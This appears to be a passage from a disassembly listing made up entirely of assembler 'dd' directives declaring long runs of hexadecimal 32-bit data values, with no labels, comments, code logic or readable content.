		dd 0B8001F7Fh, 9E24A697h, 2F998DFFh, 1754AC95h,	3776843Dh
		dd 4B87AAA4h, 1679C8D0h, 0C89B4856h, 3869FB0Fh,	4C6CDA03h
		dd 37891000h, 0D65BFA60h, 80C56F03h, 57834D80h,	0BE397BD9h
		dd 1CBA7Fh, 274EE4A3h, 0F87C75B4h, 183554CCh, 7B591821h
		dd 64F5186Ch, 4D2DE40h,	79DA3FDh, 388BC6BAh, 791FEA07h
		dd 90A04917h, 0C0E8193Ah, 78FA6F89h, 0C4429AD6h, 73409820h
		dd 8B8F009Bh, 0D16DE75Dh, 33001F02h, 5FF1C01Dh,	9F56DEh
		dd 0EA10254Fh, 0FF60FDE0h, 58C2B03Ch, 0F38C00EEh, 3552846h
		dd 64E0000Ch, 0D8D042D7h, 573E50ECh, 1DA4BA9Ch,	3780B554h
		dd 0DA99EEBBh, 969B1886h, 0B27291D3h, 0FA841601h, 535A2B19h
		dd 0E07E0998h, 0B500925Eh
		dd 0CBAA3016h, 392F429Bh, 599506E3h, 0E00888Ch,	62C00BE8h
		dd 860048BEh, 0E522D83Ch, 5F24BDh, 0DD04AAD2h, 9B41189Ch
		dd 87BA7707h, 90CC40CBh, 58113088h, 81E63249h, 77B42D03h
		dd 0FFC347FDh, 0B8281750h, 1A3A3829h, 5E206BB0h, 9B148FD6h
		dd 0E120896Dh, 31828D0h, 596C4D18h, 79BD2D9h, 0C2E9D79h
		dd 6C6A189h, 77088C99h,	0C5204Ch, 0E5789D41h, 0B04D713Ch
		dd 51F29C04h, 5AC0E286h, 797CCFFh, 2EFF6C2h, 160D2032h
		dd 235DB4D1h, 0BE4B0428h, 38807A25h, 3257B944h,	0AA088C43h
		dd 0F01D8C49h, 7B31D07Ah, 6C16E0B5h, 5E7FC300h,	3BB0AD4Dh
		dd 6F283E8Dh, 842B01E9h, 65CCB614h, 0CCDE1D6Ch,	40337AB5h
		dd 14D8F121h, 23009449h, 4EC85558h, 31A6D8A9h, 0AA68100Ch
		dd 795E0068h, 84917459h, 81024146h, 7D84B514h, 0F2100131h
		dd 41031469h, 2800C6Ah,	0CC1900B3h, 0CD495DC0h,	0D00954B6h
		dd 15B57E1h, 0F944F1A0h, 0C209C052h, 7DC8308Fh,	0C2A119Dh
		dd 21D98CA9h, 9DA513C1h, 828F00E4h, 0F1DE2A5Fh,	21DF5130h
		dd 720D0806h, 6EAA0F9Ah, 0E4010427h, 0CA24D345h, 0A40CB8A1h
		dd 13405285h, 119D9430h, 88B10C29h, 9C80BC8Ah, 1E92B49Dh
		dd 650E7BA6h, 7A77596h,	805952E2h, 4EFB7C24h, 0F8DA00F1h
		dd 585F0FAEh, 0A3000704h, 0F41D164Ch, 4D255387h, 80908E5h
		dd 1830C8D1h, 7B717A29h, 18A6B498h, 1921C760h, 70E7A28h
		dd 8836CFDFh, 1BE3E0B3h, 0D6F0FB9Ah, 4ABF9B00h,	2D37587Dh
		dd 80C8A84Dh, 0AAD7C43h, 877916Fh, 8F465EBCh, 5189A139h
		dd 7C004775h, 6CC4C303h, 0AC8B7C07h, 0D9407FD6h, 0B875F3h
		dd 5BEA1EC8h, 1855110h,	0A600FBF6h, 139C6821h, 0C0B20580h
		dd 52ED1E99h, 28C96B89h, 83703h, 1E4C846Bh, 0E30F6A66h
		dd 86F133h, 8F5C65B2h, 6843495Eh, 0B3148B80h, 65438D84h
		dd 8C0E3D22h, 60C61413h, 0DBF5117Ah, 0EE280391h, 81CE5F49h
		dd 86DC7809h, 0FDA0B09Ch, 0FA890816h, 776437C1h, 16B49340h
		dd 8612F55Dh, 44415032h, 0F03AC2DEh, 0A5F11521h, 7A182848h
		dd 0C9FA2116h, 16AB94C0h, 2C64180Fh, 9C02B96Fh,	0BF6C0307h
		dd 0F1719006h, 45EC5692h, 825920E2h, 3D71D200h,	5D1DB2F9h
		dd 0A2EA02E0h, 848ABA10h, 8FE4C847h, 482D7E61h,	0A8014CE8h
		dd 0F709AB8Eh, 68FC3287h, 710C1464h, 65E89CBAh,	0CFC3508Ch
		dd 0C4575E0h, 7496C69Ah, 6AEA8821h, 0BFD80218h,	70CFE8h
		dd 485FFAFBh, 0B0381AF5h, 5857E600h, 0B2DEFE01h, 69E80761h
		dd 5016147Dh, 5C0A597Fh, 42117C99h, 0FC148680h,	6543B584h
		dd 8B0E6822h, 4640146Eh, 917859h, 339D37FEh, 0DD6AB4F7h
		dd 2C00D8A4h, 0C1DE94D3h, 4A6CD35h, 0C2D887DAh,	0B100C8D1h
		dd 7A2C028Ch, 0B93C7B7Eh, 1013CB19h, 0DD4D7AC8h, 74F09A01h
		dd 4CDCFCB6h, 80CA4891h, 7B817A3Fh, 0C03CB134h,	3D7A361Fh
		dd 0C852F12Ah, 0C213E9F8h, 905F4EDEh, 36D58606h, 0C43085A9h
		dd 884263A9h, 2A6C020Ch, 15888068h, 0A4570179h,	0B7E0EE01h
		dd 70FB1F59h, 19C04C78h, 2CAB0BCBh, 0FC80B235h,	3A5A10CDh
		dd 23B50D4Dh, 0DD4089F4h, 1F39997Ch, 18D94C96h,	0DCD2C150h
		dd 5A8B7D0Ch, 0DF5975h,	0B928BF41h, 807185C1h, 0CB9D9500h
		dd 687CD18Dh, 66D63AA4h, 0DA6C1786h, 5CA14993h,	8FC1841h
		dd 0A9FA8216h, 384476C4h, 80E083CFh, 518C8884h,	9A5A4300h
		dd 11A6DE90h, 89DD0074h, 0D35F0B63h, 0F4016A07h, 31622399h
		dd 108006C7h, 9B0460B1h, 0F900870Bh, 0BF4D92D7h, 1DF57A71h
		dd 0C67F362Bh, 31A0C36Ch, 7E27192Dh, 3B01CBEh, 0B8BA0D10h
		dd 21340830h, 23761A4h,	484DC0DEh, 0D7E0EAD1h, 0A35C3B68h
		dd 5B8860FFh, 3D88CEh, 24ED5DD9h, 7A7D8CDDh, 0BDBE3B00h
		dd 9C15D639h, 910F3AD3h, 0C724D180h, 0A3B64D89h, 6D359400h
		dd 0A7738B1Ch, 2A8E03F1h, 1934232Dh, 62A500B7h,	11007BB8h
		dd 0D37CA655h, 708F096h, 7845751h, 76D010C6h, 0AD002A56h
		dd 0AE0111A5h, 7945821h, 120F9EF3h, 1CE5609Fh, 0CC0054DEh
		dd 0AC9BF024h, 9C69F1h,	23342742h, 0EA091548h, 631F9000h
		dd 0F3E3FAA7h, 642E00A4h, 5034E52h, 5897D61Ch, 78980016h
		dd 6AA7844Ah, 0BC00C9E4h, 70A3B74Ch, 0EB85D1h, 3C47836Fh
		dd 5179D0CEh, 64ECFC01h, 4E95B4B1h, 605203E0h, 0BDB5C166h
		dd 20008F6Bh, 0E9997F89h, 7C7450DCh, 0D23300ADh, 0AE533573h
		dd 55792E52h, 0BE5F230Ch, 39078010h, 1C0AA6BCh,	7A072FDh
		dd 0B02CA97Dh, 0A898DADBh, 811AAE60h, 1C06E9h, 33B217ACh
		dd 16AF0287h, 91407C00h, 72F11E05h, 0A5843988h,	3D4EF00h
		dd 0A1C4E97Ah, 86EEBC00h, 536B057Ch, 18A0A8D7h,	49C70013h
		dd 2F6DB81Ch, 830C557Ah, 40801604h, 0F1F603C2h,	7F2E9184h
		dd 146A8588h, 8A8E5001h, 102596F5h, 0FB358050h,	3E280044h
		dd 8A1DEA3Dh, 0A0ABD5E7h, 367805E8h, 101FB98h, 6F732D18h
		dd 0C05033F4h, 72E47795h, 0C6F30F32h, 860704Dh,	0F558DF2Bh
		dd 0FA8F400h, 2C26EEBFh, 360418BAh, 6614400Bh, 0F6807600h
		dd 601A6C5h, 5BD8074Bh,	0CE75FAEFh, 3C3AC0BEh, 1F51CD9Bh
		dd 0F0FB3B14h, 0D1CC1CA0h, 0FE814158h, 19A0019h, 0C847FB45h
		dd 801F6393h, 0C0B02D91h, 0EE716F9Bh, 3507EBDh,	0C957B8BFh
		dd 0BE43F14h, 32448007h, 0EDCF8ACh, 8FD07E9Ah, 0E2DEDB03h
		dd 9D0F4003h, 90AAA010h, 5AE1A4h, 0A3745842h, 960868EFh
		dd 0AD0DD900h, 39D1BF97h, 89E53D0Ah, 0A9467A00h, 77484E53h
		dd 0B5272400h, 90F45EE9h, 528F3B1Dh, 3F941080h,	47CA0DDFh
		dd 5D97BB00h, 56C059BFh, 61E01C79h, 0FFECC087h,	1C07F1CEh
		dd 0F7CA880Eh, 0E33D40DCh, 0A0C60F86h, 0E845A0h, 53C7B351h
		dd 95D2D5E2h, 18B13C01h, 1769420Dh, 141430h, 0D19DC673h
		dd 0E9760583h, 5208D366h, 0B2CB021h, 0B8C781C6h, 39E19E80h
		dd 0E9737009h, 2F971400h, 0D669919Bh, 7A6A39D1h, 6CB0FF84h
		dd 9C68D8CAh, 2371373Eh, 6511C8h, 8A37C47Dh, 0FA2C97A1h
		dd 0D66E030Fh, 88F79642h, 0F54301C8h, 23161900h, 60A4E377h
		dd 6BE1431h, 0F7C88A6h,	0ADCF330Dh, 51B250F8h, 91B86001h
		dd 0D444DDD3h, 0BE22FCh, 701247ABh, 0B2B03986h,	1DF420C7h
		dd 0D0C7BAF1h, 0F311204Eh, 0D83A9247h, 8D076523h, 2F405374h
		dd 5CC283CEh, 0DF0412EFh, 0C385EE94h, 30A691CCh, 0ADBF0700h
		dd 96920B8Ah, 4432CC7h,	0F04F005Eh, 8C116115h, 0EE027B98h
		dd 3C94DCE5h, 0B4888164h, 4C48C66Ch, 75370898h,	33C4A8B0h
		dd 37607940h, 0F5713A90h, 270C1CB2h, 5089EC3Dh,	0C4A114B1h
		dd 331D84B9h, 1856988Ch, 40CAC25Ah, 465638B5h, 162A0120h
		dd 0A8F963EAh, 2419BF0h, 0A2F52554h, 3C444362h,	8DA3Dh
		dd 3AE9824Eh, 175E1h, 0BBE8B9D8h, 4B92FB89h, 0D4D1AC01h
		dd 140C6C40h, 14F740A4h, 0F501DAE7h, 0A4F7227Ah, 0E1F456BAh
		dd 0A18A212h, 0C6728060h, 0DBD123B4h, 29310318h, 3EC60989h
		dd 0E1031392h, 60A6CDA7h, 0D2BDC018h, 0E188A359h, 0B4901983h
		dd 90030951h, 9189F4ACh, 4A290177h, 0A3405B2Ch,	0EB62F81Fh
		dd 212109CCh, 5BC407AAh, 225A526Dh, 3080D190h, 0BF014746h
		dd 0A1ACC0C0h, 921424h,	9FFFDFD3h, 0E9FC8528h, 0A8EDCC00h
		dd 53C16D5Eh, 9899E0CFh, 750F1E4Ch, 728A8052h, 0C3315AAFh
		dd 42A7561Ch, 0FE90FA00h, 39896532h, 1603CA34h,	52D70E9Ah
		dd 60F4AB88h, 68FBA701h
		dd 0A2418F5Fh, 6949D8h,	0D26290FCh, 16BBF363h, 1D68E1Fh
		dd 9D2D4400h, 0FBE0ECh,	0BD0705Fh, 96B8204Eh, 32C00F00h
		dd 3DAD8544h, 55300BBh,	82845826h, 1D13C42Eh, 39009D1Ch
		dd 0FC1F632Ah, 27A40008h, 9B26A528h, 0E20732D9h, 31579751h
		dd 0A4E03797h, 3740D56h, 6205BDC2h, 6DC082D4h, 5A017281h
		dd 76BF2579h, 8BDCAC6Eh, 0B4DB2CDCh, 0B8C201E1h, 0D448510Dh
		dd 0CB38B1DFh, 24A28F63h, 318383B9h, 1B59184Dh,	55B808F2h
		dd 0C4C1AA00h, 0D2520E19h, 67763Bh, 1E8ABFCAh, 4C78137Dh
		dd 0C1BAB300h, 0B10F4FA3h, 7468C0B0h, 0F68A86F7h, 5A00F5F4h
		dd 8B7910A6h, 32E830Eh,	3CE7BB22h, 7A988C55h, 52001E68h
		dd 50E324AAh, 716A71DCh, 58D7002Dh, 0C2AF316h, 1E06A180h
		dd 95A3851h, 0F3500C0h,	0F8642984h, 3A035F92h, 1BB78E76h
		dd 0E275B808h, 0B20E006Ch, 85DC8CB1h, 0C30F3789h, 0A0CDB93Dh
		dd 0F552E4A2h, 0C2E8DDh, 8FD64374h, 6EBCA4DCh, 0AC008B7Eh
		dd 69CCA581h, 0CF530FDAh, 4942710h, 0BE1BB0BAh,	3410CED0h
		dd 0A919B520h, 3100EC6Eh, 0F3185C86h, 76254CC3h, 0A102031Bh
		dd 0B017356Ah, 8302921h, 1490C477h, 1A012D82h, 2230D402h
		dd 0D022C2C7h, 0E472203h, 28041825h, 0CC4C8B3Bh, 0AC038929h
		dd 28D1921Eh, 0CBC0ECECh, 689A26h, 6C8765Ch, 677B345Fh
		dd 8A094501h, 7F2C78D9h, 0D1CDE4h, 4D3BB8D7h, 3117C00Eh
		dd 8400A275h, 97F43F90h, 0BF656F2h, 80C96948h, 0FD608A0Eh
		dd 7EAB4ED7h, 44F54200h, 152B6BE1h, 0D17600A4h,	451A2507h
		dd 0EB733483h, 98F4DD0Eh, 0F30843FBh, 5C28E056h, 0A4CB002Bh
		dd 1A959112h, 5092FBF6h, 18337400h, 30AA669Ch, 0F29400F4h
		dd 1743E024h, 1072F008h, 75AE7607h, 42003991h, 0CAF3F53h
		dd 0CB370D48h, 0D9EA2EA9h, 157A080h, 5F0FB978h,	4020D2C7h
		dd 0F2B149F0h, 0D7B78309h, 0DDBC80F5h, 0C023145Dh, 9CA3D9E0h
		dd 530097FAh, 8D35C649h, 704CD7Ch, 0DCCE4FF1h, 0DA86107Ah
		dd 2E01E831h, 8BC155FCh, 4ECC301Bh, 0FF041E6Dh,	0C8E10FC7h
		dd 6A98001Ch, 0AB3F4AB7h, 0CE65800h, 25C48196h,	0E7130083h
		dd 3D4355E4h, 187C0BD5h, 0A59E0100h, 0D3A1C6ECh, 42DC035Fh
		dd 5D8FBA84h, 8331E1A8h, 1D97AA03h, 90A34419h, 0F4A76Ah
		dd 63D5FC84h, 8DD05512h, 1C315E01h, 0CFFDA9E1h,	7C2402D0h
		dd 0B52C00D1h, 6FDDE2AFh, 7400383Ah, 90980FFCh,	9092AE9Ch
		dd 0FDC50080h, 0B0ADDEA8h, 700AF4Ah, 64735F60h,	1FA3AC0Ch
		dd 0C054E1DBh, 0CC6E5599h, 0B6007982h, 0A6B02C19h, 24F4F8DDh
		dd 0E3BC031h, 0A3A0D1D2h, 0CADA1E0Eh, 742D8C00h, 5DC8D073h
		dd 71BC00CBh, 7EF650EBh, 26E6FCC0h, 930D9D28h, 9FD4933Dh
		dd 3A002203h, 98D88761h, 0C7FA0341h, 9905B548h,	0B181CBA8h
		dd 36E40C03h, 800E2A88h, 18ED2025h, 0CC6B0531h,	74E2FE95h
		dd 4C214D00h, 0EFB0DFC7h, 0ADE200E6h, 35E7904Bh, 0AE50150Ch
		dd 64005A80h, 0A15D8955h, 1988FF08h, 40092213h,	1620C072h
		dd 0E30058F4h, 25C8425Ch, 0FEFC3A4h, 0A6BCB4E7h, 97373DA0h
		dd 9800D9A9h, 52860B94h, 61AE2445h, 7642B9ABh, 36F20080h
		dd 83F70057h, 961BDFBCh, 0D800527Eh, 5D2A0D70h,	67C5D6h
		dd 9C55F709h, 7220BD06h, 0B700127Fh, 0DC754A9Ah, 0EE3F4h
		dd 0A14096A0h, 5DF54C3Fh, 0EC699F00h, 0BC558A2h, 7C2DF449h
		dd 0D8B20022h, 14D3C1DAh, 1A00E1C7h, 55E505AEh,	3DD081F4h
		dd 0ED0F7F4Fh, 0FB234A86h, 0DAB82B0Fh, 90A095ECh, 9872EE15h
		dd 38017D7Ch, 8F10163Fh, 0E0203603h, 9F2A0033h,	85483D04h
		dd 720EDCBEh, 0A549C629h, 7CC3F64Fh, 56D08024h,	8C620434h
		dd 801573B0h, 1DFB3A10h, 4D988h, 5A16CC29h, 300CF18Ah
		dd 0FA3C4F00h, 0D9C91085h, 0CA5162FEh, 2C608AAAh, 7A1D63C2h
		dd 0FDC4993Bh, 80D3CB24h, 0EF09E026h, 0C39B12A0h, 235000DFh
		dd 7D0F650Dh, 0BBEBA300h, 0B07664DAh, 0AF83004Dh, 2AB81712h
		dd 1D01BC0Dh, 5678CEA0h, 0AA307A27h, 45963DEEh,	0EF1C3080h
		dd 0EADA55AEh, 6D004F70h, 0C9985708h, 0F602B0h,	85DF8FCEh
		dd 21E7AB66h, 60035F7Bh, 90C8F092h, 0B13D9977h,	0FDFCD4h
		dd 8262A31Ch, 0B51BDD33h, 8D0EE6F8h, 81268BCFh,	793B5036h
		dd 0F0E77DD1h, 7D0E2208h, 0D576006Bh, 55C11FE2h, 1B00154Ch
		dd 96D92336h, 0F4EC38F5h, 74060065h, 7C4F2A61h,	0FF034829h
		dd 136989A4h, 0F55F80ABh, 37AF003Ah, 9B5AE182h,	0D4036FA9h
		dd 0AC93ED8Ch, 4B113DA5h, 0A637A00h, 0E61F6431h, 0A7320800h
		dd 7BE7F1BBh, 0E49850h,	36F33CA1h, 25C9B904h, 0ECF2770Fh
		dd 9534A3FEh, 270F8A2h,	19E7007Ah, 8B0A016h, 0C7008890h
		dd 0DB6BCDEEh, 3E4D1052h, 4B00E33Bh, 0E87AE1B0h, 0CF2CEA67h
		dd 0FC400C99h, 350DADDh, 0A836CCE4h, 0D9D24F66h, 0A140DC8Eh
		dd 0E9CA3C1Ah, 0AD4C6705h, 6680E6AEh, 0D3A9E65h, 975D062Ah
		dd 2077D121h, 6C032140h, 10517EA1h, 7AD5A8E7h, 1154072Bh
		dd 0A0FD5371h, 287F9A23h, 84A948h, 2A146899h, 0E2BC60E1h
		dd 0A32300CAh, 9298B9C2h, 66008F1Ah, 26C37A86h,	1CEE5738h
		dd 4018449Eh, 2BEAD1E9h, 54749C7Dh, 8504900h, 1D2A8E8Dh
		dd 59BE1DDAh, 120DC782h, 97057486h, 108B6048h, 0D3031347h
		dd 1B9D702Fh, 88BDC027h, 0B6F44Ch, 79D9CEA7h, 56EDB2AFh
		dd 0A30D0500h, 9D7CC12Ch, 1F833F80h, 0A64CB400h, 7A1E8C34h
		dd 6E820100h, 0C188DAC4h, 2E27B0DBh, 28049F74h,	3EA7004Ch
		dd 23B88BC7h, 73070D2Fh, 0F7773298h, 0AE501D70h, 67EA0099h
		dd 0E605E537h, 0A209AC90h, 0D8A4927Eh, 81C21396h, 449C0062h
		dd 61AC4CB9h, 5CE07B01h, 0E45E7AAFh, 0BA3545C0h, 1F14F0C0h
		dd 0C4045D79h, 0D3E36154h, 26D83DC4h, 0DA00B16Bh, 6CF9F08Bh
		dd 0C038BA57h, 4199D121h, 87028960h, 0B9CAC2E6h, 0B8B46028h
		dd 0EE0403DEh, 920806E4h, 7AB070DFh, 7600E020h,	380CABEh
		dd 18714954h, 88C390A3h, 0F40F6552h, 5ADAB22h, 3283B5F6h
		dd 4B41F0BDh, 0F0964C84h, 5028C300h, 22AA6DD4h,	0B4D1F900h
		dd 3D0BBA19h, 45B11E92h, 0F251819Eh, 0E01BFC2Fh, 29005B8Bh
		dd 7FFA8CE5h, 25064Bh, 503FDFBEh, 85BAE39Bh, 707E4409h
		dd 5C005FEBh, 6C3AB42Dh, 0A4005477h, 1DBEBFCCh,	0A870B1h
		dd 0EEC8AFFAh, 18D820Ch, 8054AC39h, 598636E7h, 65A0FBh
		dd 2B796446h, 8E24919Ch, 0D843A614h, 0F3900F2h,	0F3882E47h
		dd 0B06E7823h, 3BD43DD7h, 8EDFAD00h, 0CC7B75FCh, 0B1350201h
		dd 0EA6F7252h, 0EC489050h, 91D13C5Eh, 2652107h,	28D33092h
		dd 900B533h, 0A2CB986Bh, 5A86D8h, 6E919949h, 28D30BEh
		dd 0F978971Dh, 0D8AECE40h, 244EE3F1h, 3CDC46h, 0F694B2D7h
		dd 0BA00F548h, 0EE5F7F7Ch, 0E8E7281h, 85B82507h, 9D4F6F40h
		dd 1300A39Eh, 6C93E7FFh, 0C0E19988h, 7B19A9A0h,	745DB077h
		dd 0CA92285Ch, 41D34A0Bh, 0B7AE006Ah, 96B4B9h, 8F1EE70Ah
		dd 43888ED4h, 94296000h, 9C64ED77h, 0B8DF05F9h,	800CDE3Ch
		dd 41486E54h, 5D007477h, 0CE370ACCh, 7BE5C58h, 390266EEh
		dd 0ED57FAh, 0E0972E2Fh, 0AF7D6E00h, 7CF30626h,	248F0160h
		dd 0F1432A18h, 4B7C2479h, 2E603CB9h, 0A6D550h, 0BC16B88Eh
		dd 45863DD9h, 59F33F00h, 3CE5C3B0h, 742C487Fh, 0F1827907h
		dd 88EA3208h, 0C8C09480h, 0DFB086D0h, 4AAF300h,	3C4B637Ch
		dd 2ED93BD4h, 6DA3CF00h
		dd 3334C5E4h, 55F22200h, 957B9B91h, 0F46850E8h,	0EF16040Ah
		dd 804E4CB3h, 0EC83197Bh, 1B008092h, 8C9D0C80h,	0F16493h
		dd 27D17A10h, 6F2EC203h, 66288F00h, 8B0D67D6h, 9C4F05EBh
		dd 0C1D71A2Ch, 2074F55Ch, 170D4E32h, 19389039h,	0BCF680DBh
		dd 0C2200110h, 9589315h, 57713022h, 9DA4049Fh, 97E290C8h
		dd 4EA56140h, 85C9A18h,	7D2CCB70h, 11F00031h, 42AAF269h
		dd 0D8003FD3h, 0E8C98EA5h, 765D6B28h, 16DEEA80h, 0EF7190h
		dd 0F4409B5Dh, 2207CFEEh, 6E6C0CF6h, 0CD4E7A80h, 0EAF011h
		dd 0C5A26972h, 0AFE735EEh, 0D10BC400h, 0F16E0DEBh, 73603B50h
		dd 0D7E94780h, 0C615851Eh, 874BBD00h, 0FFC5F32Eh, 5E61C1Bh
		dd 17AFE814h, 30536F63h, 4822EC24h, 0F2D16800h,	0B9BC8679h
		dd 0A76B00FAh, 0B7A49EE4h, 6F3CA13Eh, 9DA90721h, 5140D773h
		dd 94BD677h, 89CE577Ch,	0AABEA980h, 0EF33709Dh,	0B875BCD5h
		dd 1EF27Dh, 0BBCBB5A4h,	539CFE5Ah, 874E3A00h, 0DC9F96E9h
		dd 9E06078Bh, 43DE3F99h, 0B9F1B834h, 0C963D4B6h, 0D332CC00h
		dd 0A665B53Ch, 3BBC0068h, 22FBEEBAh, 971E188Bh,	0FCC02F01h
		dd 32883F0Eh, 73BA483Eh, 1C126A2Ch, 0B8E00052h,	76C7254Fh
		dd 7F65C800h, 0E1D70AF6h, 48D51CD9h, 75328h, 0EDADA224h
		dd 45FC317Eh, 119C7000h, 963B6BA9h, 81B738D4h, 8C238E80h
		dd 0D6DEAADAh, 49020107h, 97503CE3h, 3632DF9h, 0E8409546h
		dd 0FD98BD85h, 2407A339h, 2E1DE20h, 2CADB7E0h, 0FBEB00B5h
		dd 0B30109B2h, 92073981h, 0DEF1459Fh, 5ADAD900h, 0FB4200A4h
		dd 27E4C9DFh, 0E9079D81h, 2F695BE6h, 0E3D4B8C0h, 5CE21C0Ah
		dd 49EE4073h, 960FD39Eh, 95FC1E00h, 6F1A06B8h, 0CB1700E0h
		dd 0EC4A47A8h, 54031383h, 5E3EF67Bh, 8893F08Fh,	3A511737h
		dd 0E8CB00BCh, 0A3D3816h, 0FE588E26h, 86B65400h, 32E68D1h
		dd 6C8C1171h, 688D985h,	9390BD7Eh, 0B8134A1Ch, 15956486h
		dd 0AC514C19h, 0B1005458h, 0ADE7B525h, 8B005B1Dh, 39387C49h
		dd 9AF89764h, 30624100h, 0E400CE7Ch, 0B9075B5Ah, 0F0178Dh
		dd 6E9AF410h, 6C78F2A9h, 0DC8EB303h, 0F8D9CB2Fh, 2CAD0h
		dd 5F0FBADEh, 0FB673EB2h, 1E65AB00h, 2A9E3C2Ch,	0FCAC0352h
		dd 7E69F766h, 5203805h,	8083A9h, 0EC56BBFAh, 73AB00DBh
		dd 3AD23BB7h, 0A3002EAAh, 0B44A76Eh, 39D8A9CFh,	0BF00EA21h
		dd 0BEF77429h, 0FB006B97h, 0FE5D7703h, 158156Fh, 0E5E4D4A7h
		dd 30F70749h, 500FF60h,	0CB7611E1h, 0B82382h, 866418D8h
		dd 4B77755Fh, 0CE428C00h, 5980D2Bh, 62D206FFh, 117DA9AAh
		dd 1104AD7Dh, 5615182Fh, 99FC7C80h, 0F40600A0h,	9FDC5880h
		dd 8100CBC5h, 0C3252359h, 5D9210h, 52FF5E96h, 0B345C158h
		dd 98D87E0Fh, 0C0CE0F53h, 79D0CACCh, 87BF004Eh,	8C92177Dh
		dd 5B72A0B9h, 0B1855E1Fh, 0DA67B300h, 0B82007h,	0F729E8C8h
		dd 14264DECh, 0C988911Ch, 0F11DF8Eh, 0A9FC0069h, 62B6D0h
		dd 76E83673h, 7FBC85Ah,	7843EF00h, 0F7B04788h, 0BB83001Dh
		dd 6B724DE5h, 1C2E7784h, 918C8443h, 0B4C66Ch, 0E5543968h
		dd 71C25D02h, 92C60300h, 6A335F63h, 90C97E77h, 0EF3900F4h
		dd 0DD5DD757h, 8203ED1Bh, 940B3D60h, 0F140C0E0h, 67E80E74h
		dd 0B18F7F9Ah, 2C84800Bh, 9C82FA08h, 0E188C8E7h, 32AD00A9h
		dd 294759E9h, 10E87102h, 6A49F00Bh, 0FA7800C2h,	0C43250h
		dd 1ADCEE8Dh, 1673CAB7h, 5C0008B0h, 9064C67Ah, 509B1F5h
		dd 2E4A11A5h, 0E7E0C29Ch, 0C7693CC0h, 8298AA3Dh, 402884BBh
		dd 580CD893h, 8700F88Eh, 0D0ACEBEh, 460058F7h, 991A2F28h
		dd 0E036EBBh, 79528065h, 82CC33E0h, 70960437h, 2B1F9907h
		dd 0EAFECA80h, 78983873h, 0AF54A000h, 1FE91B21h, 77005BFCh
		dd 1271BE0Ch, 0EB24309h, 45705E7h, 0D5819DEFh, 0D4F16C29h
		dd 0E8A0AE40h, 0CA00D495h, 0D7C25F06h, 3BF4A2B8h, 3A032A26h
		dd 0F699D1C1h, 898DC9C8h, 107504Ch, 0B4F50F13h,	0E841C584h
		dd 10E0ED27h, 48B52586h, 87675C80h, 150F0DBBh, 0C062EB94h
		dd 6D3055DCh, 2B140075h, 35F19E7Fh, 85000E48h, 0CDB9CCA0h
		dd 14A1C6Eh, 2EEB6889h,	7002DA1Dh, 0F89E7B50h, 0B7941F07h
		dd 593DF570h, 16672788h, 4AACCC38h, 2A804003h, 80DD028Dh
		dd 0E9F1530h, 0F6BB8CF0h, 0A2966E0h, 89248811h,	0C2001C7Dh
		dd 9623AE14h, 4D991D74h, 0C1C3802Ch, 877662C5h,	2ACF2F09h
		dd 0ED8C00EBh, 16ED848h, 2909D767h, 0CC3678A0h,	0A2A09184h
		dd 0FB909A92h, 0FBE14E01h, 6837137Ch, 127E20h, 45A54CDBh
		dd 0E9213D92h, 0AD00EDFCh, 0AB285788h, 0E4777451h, 0F9FC42h
		dd 71F71EEh, 0E026DFA9h, 0E42B9900h, 256B9A5Eh,	0BFAA006Eh
		dd 8786A8F7h, 0ECBABB38h, 49F83930h, 58B33B73h,	4682BC4Eh
		dd 0D8A0AEFDh, 0A2BED122h, 0AC84F313h, 0CC53C840h, 3CA056h
		dd 0DB691573h, 0EEEBA774h, 0A2911100h, 0A3871EF0h, 1FC402CEh
		dd 0BDC0F671h, 9955C0DFh, 0FFA0116h, 3B31153h, 21B0619Bh
		dd 8CABE1FCh, 21CC9E10h, 3EF0BBh, 191BED47h, 0E5324EA9h
		dd 0A4AD9900h, 7CDDE197h, 0E8C0016Dh, 80DC564Bh, 0F06C0Ah
		dd 0CF12CA2Ah, 6CC0557Ch, 271820E6h, 7A403565h,	6AC340C7h
		dd 0D3190D4Fh, 8788CC6Eh, 0D88623E6h, 0CDC08ECh, 0E050AF4Dh
		dd 0AD215228h, 0D70B09CDh, 36641B80h, 0E9395C86h, 46380705h
		dd 0F0800E89h, 4958E1h,	50A52C5Ah, 68A91A08h, 4D6A6603h
		dd 0C097AB1Fh, 7F3C90Eh, 0E4805DB6h, 3792E03Eh,	0E700CD26h
		dd 65082203h, 0DF8CFFh,	1CCE0B75h, 0D9B64467h, 3F07967Dh
		dd 0EE5B0A07h, 0DD41CF60h, 0BBA5049Ah, 0D7B56EACh, 9C8D128h
		dd 0B84C7CAFh, 0F204A6Eh, 780517Ch, 79A77A65h, 0DCA09400h
		dd 0C431EF9Bh, 21D03C05h, 3AAA7380h, 0C010260Ah, 962FF804h
		dd 0CA800E9Ah, 16A043AEh, 215AE312h, 0E84124h, 7BBC283Fh
		dd 0B06100F2h, 0C5A4DC1Ah, 0BA0009D9h, 0F84F05E8h, 7E9F9154h
		dd 0BB4E0Bh, 4E4B5388h,	0B1798B96h, 2A7CE80Fh, 0E2D1A0FAh
		dd 3279D39h, 2ED8D9DAh,	50C093FCh, 0AD00E519h, 0B176A142h
		dd 1244B64h, 0FEA66AE3h, 0D48413D9h, 0C101B068h, 0E4EF77B9h
		dd 8F605BC8h, 0F7CF004Ch, 0D43E6273h, 0DA1F47DEh, 500170C4h
		dd 0CC66198Bh, 0E754C0h, 723D832Fh, 646F82C1h, 0E914D40Eh
		dd 0C0B6E071h, 0CFA074D7h, 62C05C52h, 3D5042E0h, 8D0F2C13h
		dd 0BE38F618h, 0FF4C00F1h, 0FEE56F92h, 533A6CAAh, 0DAE48AF7h
		dd 239ED02Eh, 0A2004853h, 25F14F46h, 5BA73B76h,	0F4809FADh
		dd 0ED6B7CFCh, 1021C102h, 0A065CFB7h, 0F0B1A1ECh, 0C94A51h
		dd 9FE5B2C4h, 6B72DF86h, 7BD9E100h, 0BA08AB8Fh,	0FC07332h
		dd 0F60B7F29h, 7A669E20h, 27127525h, 0FEA235Ch,	64E6DB88h
		dd 44000672h, 7655E531h, 0AF8670h, 0A65E0F7Bh, 3C50B822h
		dd 0F543F60Eh, 0F72D80B5h, 2C364CBBh, 0BFB8F392h, 7131E000h
		dd 31AF5A3h, 98652B13h,	0D4A8644Ah, 0DBC94E00h,	0A0C3B03Bh
		dd 0FFA76C80h, 3E000C38h, 0F7B9EEA1h, 0E800F82Bh, 211EE6D0h
		dd 0FADE79h, 94F5D61Dh,	611B352Ah, 51788C14h, 737216A8h
		dd 0EAFF1800h, 1C6CC283h, 5B39FCh, 63A1024Dh, 0A0BEC58Dh
